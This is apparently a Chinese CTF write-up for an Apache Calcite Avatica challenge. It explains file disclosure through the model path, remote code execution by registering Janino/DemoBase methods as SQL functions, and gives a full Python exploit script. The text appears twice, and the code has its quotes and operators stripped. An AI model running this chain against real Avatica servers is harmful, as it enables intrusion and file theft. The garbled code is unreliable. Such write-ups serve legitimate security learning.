Day:5GreatSQL Apache Calcite Avatica 远程命令执行漏洞分析靶机:http://web-02284dfae2.adworld.xctf.org.cn/Flag:flag{64rf68I9v5tmNObC8F9StfJfVZbaopUh}第一部分前置知识1.1 Apache Calcite 是什么Apache Calcite 是一个开源的 SQL 解析引擎它本身不存储数据而是提供 SQL 解析、验证、优化和执行的能力。常见的应用场景包括让任意数据源CSV、Kafka、Elasticsearch支持 SQL 查询以及作为数据库的 SQL 优化器。1.2 Avatica 远程 JDBC 协议Avatica 是 Calcite 的远程 JDBC 驱动框架允许客户端通过网络HTTP调用 JDBC 接口。服务端接收 JSON RPC 请求转发给真正的 JDBC 驱动执行。关键操作请求说明openConnection建立 JDBC 连接提供jdbcUrlconnectionSync同步连接属性如设置当前 schemacreateStatement创建 StatementprepareAndExecute准备并执行 SQLgetSchemas / getTables获取元数据请求示例{connectionId:c1,request:openConnection,info:{jdbcUrl:jdbc:calcite:}}1.3 Calcite Model 与 UDF 注册Calcite 通过 ModelJSON描述 Schema。模型支持三种加载方式jdbc:calcite: # 空模型 jdbc:calcite:modelinline:{version:1,...} # 内联 JSON jdbc:calcite:model/path/to/file.json # 从文件加载Model 中可以注册 Java 类方法为 SQL 函数{version:1,schemas:[{name:S,functions:[{className:完全限定类名,methodName:*}]}]}methodName: *注册该类的所有 public static 方法。1.4 Janino / DemoBase 关键类Janino是一个轻量级 Java 编译器可以在运行时编译执行 Java 代码。ScriptEvaluator.createInstance(Reader)— 静态方法接收 Reader读取 Java 源码编译执行。DemoBase— Janino 示例基类包含三个关键静态方法stringToType(String)— 将类名转Class?createObject(Class?, String)— 调用单 String 参数构造器实例化explode(String)— 逗号分割字符串1.5 Runtime.exec() 分词陷阱Runtime.getRuntime().exec(ls /tmp/out)// exec(String) 内部用 StringTokenizer 按空格切分// → {ls, , /tmp/out} ❌ 重定向不生效Runtime.getRuntime().exec(newString[]{/bin/sh,-c,ls/tmp/out})// → 正确执行/tmp/out 由 shell 解释 ✅// 无空格命令也可以Runtime.getRuntime().exec(/bin/sh -c ls/tmp/out)// StringTokenizer 不会切 它按空格/制表符分割// → {/bin/sh, -c, ls/tmp/out} ✅第二部分漏洞分析2.1 Model 路径遍历 错误消息文件泄露Calcite 的model参数不做路径校验。传入任意文件路径时Jackson 尝试将其作为 JSON 解析失败时在错误消息中泄露文件首 tokenPOST / {connectionId:x,request:openConnection, info:{jdbcUrl:jdbc:calcite:model/etc/passwd}}→Unrecognized token root— 泄露了 passwd 第一行第一个字段利用效果/etc/passwd→root/proc/self/environ→SHELL/flag→ Permission denied存在但无权读不存在的文件 → FileNotFoundException局限性Jackson 在第一个非法字符处停止只能泄露首 token。2.2 280 字节请求限制服务端有LengthLimitedJsonHandler nginx 限长所有 payload 必须 ≤ 280 字节。绕过手段connectionId:空字符串省 2 字节exec(String)替代exec(String[])省 ~15 字节命令中避免空格用base64/tmp/z/tmp/b而非base64 /tmp/z /tmp/bSQL 调用链固定开销约 248 字节留给命令的只有 ~32 字节2.3 Janino UDF 注入 → RCE核心漏洞注册 UDFfunctions:[{className:org.codehaus.commons.compiler.samples.DemoBase,methodName:*},{className:org.codehaus.janino.ClassBodyEvaluator,methodName:*}]ClassBodyEvaluator继承ScriptEvaluator父类的静态方法也会被*注册。SQL 调用链SELECTcreateInstance(createObject(stringToType(java.io.StringReader),{try{Runtime.getRuntime().exec(/bin/sh -c /readflag/tmp/z);}catch(Exception e){}}))执行流程stringToType(java.io.StringReader) → DemoBase.stringToType() → ClassStringReader createObject(ClassStringReader, {java code}) → DemoBase.createObject() → new StringReader({java code}) createInstance(StringReader) → ScriptEvaluator.createInstance(Reader) → Janino 编译执行 Java 代码 → Runtime.exec(/readflag/tmp/z) → flag → /tmp/z读取 flagexec(base64/tmp/z/tmp/b) → base64 编码 model/tmp/b → Jackson 错误泄露 base64 字符串 解码 → flag{64rf68I9v5tmNObC8F9StfJfVZbaopUh}第三部分反思 —— 这道题我卡在了哪里3.1 学到的经验回头看这道题的正确思路是链式攻击的典型应用。从 CTF 链式思维的角度应该这样分析列出所有可达端点 → openConnection 可连 → model能读取文件、能注册UDF → 注册UDF后有哪些类方法可用 → 分析注册类的继承链发现createInstance → 参数类型不对 → 寻找桥函数stringToType → SQL里怎样构造Java对象实例 → 用createObject链接 → 链式调用 → RCE3.2 具体的思维盲区盲区 1不知道stringToType这个桥函数卡在createFastClassBodyEvaluator(Class?, String)的第一个Class?参数上。我的思维是“SQL 里没法表达 Java Class 类型”——然后就放弃了。实际上DemoBase.stringToType(String)就是把字符串转 Class 的桥。我没有去完整检查已注册类的所有方法。盲区 2只试单方法调用没做链式组合我测试了ClassBodyEvaluator.evaluate(return 1)发现evaluate不是静态方法报错后就判定 UDF 这条路不通。实际上需要的是三个函数串成一条链stringToType → createObject → createInstance。单个函数看起来都没用但串联起来就是完整的 RCE。盲区 3没看继承链查ClassBodyEvaluator的静态方法时只看了类本身没看它的父类ScriptEvaluator。而createInstance(Reader)这个关键静态方法正是定义在父类里的。methodName: *注册的是包括继承来的所有 public static 方法。3.3 一般化原则面对陌生 Java 框架做 UDF 注入/反序列化时找出注册类及其父类/接口的全部 public static 方法签名分析哪些方法的参数是 SQL 可表达的类型String, int, boolean寻找桥函数能转类型或构造复杂对象的工具方法把可调用的方法按输入输出类型画链看能不能组合——单个函数可能无用但组合起来就是 RCE第四部分EXP#!/usr/bin/env python3importjson,urllib.request,urllib.error,time,base64importsys URLhttp://web-02284dfae2.adworld.xctf.org.cn/MODEL(inline:{version:1,schemas:[{name:0,functions:[{className:org.codehaus.commons.compiler.samples.DemoBase,methodName:*},{className:org.codehaus.janino.ClassBodyEvaluator,methodName:*}]}]})defcj(o):returnjson.dumps(o,separators(,,:))defjs(v):returnv.replace(\\,\\\\).replace(,\\)defpost(p):dp.encode()rurllib.request.Request(URL,datad,headers{Content-Type:application/json},methodPOST)try:withurllib.request.urlopen(r,timeout10)asresp:returnresp.status,resp.read().decode(errorsreplace)excepturllib.error.HTTPErrorase:returne.code,e.read().decode(errorsreplace)cid# Step 1: Setup UDF connectionpost(cj({request:closeConnection,connectionId:cid}))post(cj({request:openConnection,connectionId:cid,info:{jdbcUrl:jdbc:calcite:modelMODEL}}))post(cj({request:connectionSync,connectionId:cid,connProps:{connProps:connPropsImpl,schema:0}}))s,rpost(cj({request:createStatement,connectionId:cid}))sidjson.loads(r).get(statementId)# Step 2: Execute /readflag, write to /tmp/zcmd/readflag/tmp/zbody{try{Runtime.getRuntime().exec(/bin/sh -c js(cmd));}catch(Exception e){}}sqlselect createInstance(createObject(stringToType(java.io.StringReader),body))p4cj({request:prepareAndExecute,connectionId:cid,statementId:sid,sql:sql,maxRowsInFirstFrame:-1})post(p4)time.sleep(2)# Step 3: Base64 encode the flagpost(cj({request:closeConnection,connectionId:cid}))post(cj({request:openConnection,connectionId:cid,info:{jdbcUrl:jdbc:calcite:modelMODEL}}))post(cj({request:connectionSync,connectionId:cid,connProps:{connProps:connPropsImpl,schema:0}}))s,rpost(cj({request:createStatement,connectionId:cid}))sid2json.loads(r).get(statementId)cmd2base64/tmp/z/tmp/bbody2{try{Runtime.getRuntime().exec(/bin/sh -c js(cmd2));}catch(Exception e){}}sql2select createInstance(createObject(stringToType(java.io.StringReader),body2))p4bcj({request:prepareAndExecute,connectionId:cid,statementId:sid2,sql:sql2,maxRowsInFirstFrame:-1})post(p4b)time.sleep(2)# Step 4: Read encoded flag via model path traversaluidrstr(time.time_ns())[-6:]p5cj({request:openConnection,connectionId:uid,info:{jdbcUrl:jdbc:calcite:model/tmp/b}})s5,r5post(p5)ifUnrecognized tokeninr5:b64r5.split(Unrecognized token )[1].split()[0]padding4-len(b64)%4ifpadding!4:b64*padding flagbase64.b64decode(b64).decode()print(fFLAG:{flag})
sctf2026 Great sql详细解
发布时间:2026/6/30 1:25:09
Day:5GreatSQL Apache Calcite Avatica 远程命令执行漏洞分析靶机:http://web-02284dfae2.adworld.xctf.org.cn/Flag:flag{64rf68I9v5tmNObC8F9StfJfVZbaopUh}第一部分前置知识1.1 Apache Calcite 是什么Apache Calcite 是一个开源的 SQL 解析引擎它本身不存储数据而是提供 SQL 解析、验证、优化和执行的能力。常见的应用场景包括让任意数据源CSV、Kafka、Elasticsearch支持 SQL 查询以及作为数据库的 SQL 优化器。1.2 Avatica 远程 JDBC 协议Avatica 是 Calcite 的远程 JDBC 驱动框架允许客户端通过网络HTTP调用 JDBC 接口。服务端接收 JSON RPC 请求转发给真正的 JDBC 驱动执行。关键操作请求说明openConnection建立 JDBC 连接提供jdbcUrlconnectionSync同步连接属性如设置当前 schemacreateStatement创建 StatementprepareAndExecute准备并执行 SQLgetSchemas / getTables获取元数据请求示例{connectionId:c1,request:openConnection,info:{jdbcUrl:jdbc:calcite:}}1.3 Calcite Model 与 UDF 注册Calcite 通过 ModelJSON描述 Schema。模型支持三种加载方式jdbc:calcite: # 空模型 jdbc:calcite:modelinline:{version:1,...} # 内联 JSON jdbc:calcite:model/path/to/file.json # 从文件加载Model 中可以注册 Java 类方法为 SQL 函数{version:1,schemas:[{name:S,functions:[{className:完全限定类名,methodName:*}]}]}methodName: *注册该类的所有 public static 方法。1.4 Janino / DemoBase 关键类Janino是一个轻量级 Java 编译器可以在运行时编译执行 Java 代码。ScriptEvaluator.createInstance(Reader)— 静态方法接收 Reader读取 Java 源码编译执行。DemoBase— Janino 示例基类包含三个关键静态方法stringToType(String)— 将类名转Class?createObject(Class?, String)— 调用单 String 参数构造器实例化explode(String)— 逗号分割字符串1.5 Runtime.exec() 分词陷阱Runtime.getRuntime().exec(ls /tmp/out)// exec(String) 内部用 StringTokenizer 按空格切分// → {ls, , /tmp/out} ❌ 重定向不生效Runtime.getRuntime().exec(newString[]{/bin/sh,-c,ls/tmp/out})// → 正确执行/tmp/out 由 shell 解释 ✅// 无空格命令也可以Runtime.getRuntime().exec(/bin/sh -c ls/tmp/out)// StringTokenizer 不会切 它按空格/制表符分割// → {/bin/sh, -c, ls/tmp/out} ✅第二部分漏洞分析2.1 Model 路径遍历 错误消息文件泄露Calcite 的model参数不做路径校验。传入任意文件路径时Jackson 尝试将其作为 JSON 解析失败时在错误消息中泄露文件首 tokenPOST / {connectionId:x,request:openConnection, info:{jdbcUrl:jdbc:calcite:model/etc/passwd}}→Unrecognized token root— 泄露了 passwd 第一行第一个字段利用效果/etc/passwd→root/proc/self/environ→SHELL/flag→ Permission denied存在但无权读不存在的文件 → FileNotFoundException局限性Jackson 在第一个非法字符处停止只能泄露首 token。2.2 280 字节请求限制服务端有LengthLimitedJsonHandler nginx 限长所有 payload 必须 ≤ 280 字节。绕过手段connectionId:空字符串省 2 字节exec(String)替代exec(String[])省 ~15 字节命令中避免空格用base64/tmp/z/tmp/b而非base64 /tmp/z /tmp/bSQL 调用链固定开销约 248 字节留给命令的只有 ~32 字节2.3 Janino UDF 注入 → RCE核心漏洞注册 UDFfunctions:[{className:org.codehaus.commons.compiler.samples.DemoBase,methodName:*},{className:org.codehaus.janino.ClassBodyEvaluator,methodName:*}]ClassBodyEvaluator继承ScriptEvaluator父类的静态方法也会被*注册。SQL 调用链SELECTcreateInstance(createObject(stringToType(java.io.StringReader),{try{Runtime.getRuntime().exec(/bin/sh -c /readflag/tmp/z);}catch(Exception e){}}))执行流程stringToType(java.io.StringReader) → DemoBase.stringToType() → ClassStringReader createObject(ClassStringReader, {java code}) → DemoBase.createObject() → new StringReader({java code}) createInstance(StringReader) → ScriptEvaluator.createInstance(Reader) → Janino 编译执行 Java 代码 → Runtime.exec(/readflag/tmp/z) → flag → /tmp/z读取 flagexec(base64/tmp/z/tmp/b) → base64 编码 model/tmp/b → Jackson 错误泄露 base64 字符串 解码 → flag{64rf68I9v5tmNObC8F9StfJfVZbaopUh}第三部分反思 —— 这道题我卡在了哪里3.1 学到的经验回头看这道题的正确思路是链式攻击的典型应用。从 CTF 链式思维的角度应该这样分析列出所有可达端点 → openConnection 可连 → model能读取文件、能注册UDF → 注册UDF后有哪些类方法可用 → 分析注册类的继承链发现createInstance → 参数类型不对 → 寻找桥函数stringToType → SQL里怎样构造Java对象实例 → 用createObject链接 → 链式调用 → RCE3.2 具体的思维盲区盲区 1不知道stringToType这个桥函数卡在createFastClassBodyEvaluator(Class?, String)的第一个Class?参数上。我的思维是“SQL 里没法表达 Java Class 类型”——然后就放弃了。实际上DemoBase.stringToType(String)就是把字符串转 Class 的桥。我没有去完整检查已注册类的所有方法。盲区 2只试单方法调用没做链式组合我测试了ClassBodyEvaluator.evaluate(return 1)发现evaluate不是静态方法报错后就判定 UDF 这条路不通。实际上需要的是三个函数串成一条链stringToType → createObject → createInstance。单个函数看起来都没用但串联起来就是完整的 RCE。盲区 3没看继承链查ClassBodyEvaluator的静态方法时只看了类本身没看它的父类ScriptEvaluator。而createInstance(Reader)这个关键静态方法正是定义在父类里的。methodName: *注册的是包括继承来的所有 public static 方法。3.3 一般化原则面对陌生 Java 框架做 UDF 注入/反序列化时找出注册类及其父类/接口的全部 public static 方法签名分析哪些方法的参数是 SQL 可表达的类型String, int, boolean寻找桥函数能转类型或构造复杂对象的工具方法把可调用的方法按输入输出类型画链看能不能组合——单个函数可能无用但组合起来就是 RCE第四部分EXP#!/usr/bin/env python3importjson,urllib.request,urllib.error,time,base64importsys URLhttp://web-02284dfae2.adworld.xctf.org.cn/MODEL(inline:{version:1,schemas:[{name:0,functions:[{className:org.codehaus.commons.compiler.samples.DemoBase,methodName:*},{className:org.codehaus.janino.ClassBodyEvaluator,methodName:*}]}]})defcj(o):returnjson.dumps(o,separators(,,:))defjs(v):returnv.replace(\\,\\\\).replace(,\\)defpost(p):dp.encode()rurllib.request.Request(URL,datad,headers{Content-Type:application/json},methodPOST)try:withurllib.request.urlopen(r,timeout10)asresp:returnresp.status,resp.read().decode(errorsreplace)excepturllib.error.HTTPErrorase:returne.code,e.read().decode(errorsreplace)cid# Step 1: Setup UDF connectionpost(cj({request:closeConnection,connectionId:cid}))post(cj({request:openConnection,connectionId:cid,info:{jdbcUrl:jdbc:calcite:modelMODEL}}))post(cj({request:connectionSync,connectionId:cid,connProps:{connProps:connPropsImpl,schema:0}}))s,rpost(cj({request:createStatement,connectionId:cid}))sidjson.loads(r).get(statementId)# Step 2: Execute /readflag, write to /tmp/zcmd/readflag/tmp/zbody{try{Runtime.getRuntime().exec(/bin/sh -c js(cmd));}catch(Exception e){}}sqlselect createInstance(createObject(stringToType(java.io.StringReader),body))p4cj({request:prepareAndExecute,connectionId:cid,statementId:sid,sql:sql,maxRowsInFirstFrame:-1})post(p4)time.sleep(2)# Step 3: Base64 encode the flagpost(cj({request:closeConnection,connectionId:cid}))post(cj({request:openConnection,connectionId:cid,info:{jdbcUrl:jdbc:calcite:modelMODEL}}))post(cj({request:connectionSync,connectionId:cid,connProps:{connProps:connPropsImpl,schema:0}}))s,rpost(cj({request:createStatement,connectionId:cid}))sid2json.loads(r).get(statementId)cmd2base64/tmp/z/tmp/bbody2{try{Runtime.getRuntime().exec(/bin/sh -c js(cmd2));}catch(Exception e){}}sql2select createInstance(createObject(stringToType(java.io.StringReader),body2))p4bcj({request:prepareAndExecute,connectionId:cid,statementId:sid2,sql:sql2,maxRowsInFirstFrame:-1})post(p4b)time.sleep(2)# Step 4: Read encoded flag via model path traversaluidrstr(time.time_ns())[-6:]p5cj({request:openConnection,connectionId:uid,info:{jdbcUrl:jdbc:calcite:model/tmp/b}})s5,r5post(p5)ifUnrecognized tokeninr5:b64r5.split(Unrecognized token )[1].split()[0]padding4-len(b64)%4ifpadding!4:b64*padding flagbase64.b64decode(b64).decode()print(fFLAG:{flag})